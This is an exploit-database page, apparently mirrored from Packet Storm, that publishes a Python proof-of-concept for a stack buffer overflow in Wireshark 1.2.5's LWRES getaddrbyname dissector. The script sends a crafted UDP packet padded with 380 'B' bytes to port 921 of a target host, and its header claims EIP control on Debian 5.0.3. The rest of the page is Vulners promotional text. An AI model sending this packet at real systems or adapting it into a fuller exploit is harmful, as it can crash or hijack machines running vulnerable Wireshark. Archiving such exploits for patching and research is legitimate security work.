Lucene search
+L

Wireshark 1.2.5 LWRES getaddrbyname Buffer Overflow

🗓️ 30 Jan 2010 00:00:00Reported by babiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 14 Views

Wireshark 1.2.5 LWRES getaddrbyname Buffer Overflow Po

Code
`#!/usr/bin/env python  
  
# Wireshark 1.2.5 LWRES getaddrbyname stack-based buffer overflow PoC  
# with control over EIP on Debian 5.0.3  
# by babi <[email protected]> on 29 Jan 2010  
# get it at http://www.wireshark.org/download/src/all-versions/wireshark-1.2.5.tar.gz  
  
import socket, sys  
  
try:  
host = sys.argv[1]  
except:  
print "usage: " + sys.argv[0] + " <host>"  
exit(2)  
  
port = 921  
addr = (host, port)  
  
leng = 380  
high = int(leng / 256)  
low = leng & 255  
  
data = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"  
data += "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
data += "\x00\x00\x00\x01"  
data += chr(high) + chr(low) + ("B" * leng) + "\x00\x00"  
  
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
try:  
udps.sendto(data, addr)  
except:  
print "can't lookup host"  
exit(1)  
  
udps.close()  
exit(0)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jan 2010 00:00Current
0.9Low risk
Vulners AI Score0.9
14